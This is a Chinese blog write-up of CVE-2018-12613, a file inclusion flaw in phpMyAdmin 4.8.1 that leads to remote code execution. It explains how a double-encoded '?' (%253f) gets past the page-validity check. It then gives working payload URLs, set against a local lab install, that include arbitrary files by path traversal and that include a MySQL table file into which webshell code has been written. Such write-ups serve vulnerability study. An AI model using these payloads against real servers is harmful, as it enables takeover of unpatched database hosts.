phpMyAdmin 4.8.1 LFI to RCE(CVE-2018-12613)

前言

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

漏洞分析

  • 可见第 61 行出现 include $_REQUEST['target'];,这是文件包含的前兆,只需要满足 55 - 59 行的条件即可
  • 第57行限制 target 参数不能以index开头
  • 第58行限制 target 参数不能出现在 $target_blacklist

找到 $target_blacklist 的定义

1
2
3
$target_blacklist = array (
'import.php', 'export.php'
);

只要 target 参数不是 import.php 或 export.php 就行

  • 第59行 Core::checkPageValidity($_REQUEST['target'])

找到Core类的checkPageValidity方法

文件路径 phpMyAdmin4.8.1\libraries\classes

可见 465 行,有一个 urldecode() 函数

? 两次url编码为 %253f 即可绕过验证

环境搭建

  • phpstudy
  • php 5.5.38+Apache
  • phpMyAdmin 4.8.1

phpMyAdmin4.8.1 下载地址

本地文件包含(LFI)

payload

1
http://127.0.0.1/phpMyAdmin4.8.1/index.php?target=db_sql.php%253f/../../index.html

这里的 db_sql.php 我们只需要满足在 $goto_whitelist 就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

LFI to RCE

利用mysql的data文件

  • 修改或新建一个字段,名字修改为 WebShell 的内容

  • 保存

  • 找到对应的数据库文件查看

  • 包含它

payload

1
http://127.0.0.1/phpMyAdmin4.8.1/index.php?target=db_sql.php%253f/../../../MySQL/data/test/test.frm

参考文章

查MD5官方文章

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd

【CVE-2018-12613】phpMyAdmin 4.8.1 LFI to RCE

http://www.lz1y.cn/archives/1457.html

Powered by Hexo and Hexo-theme-hiker

Copyright © 2017 - 2018 Damit5's Blog All Rights Reserved.

UV : | PV :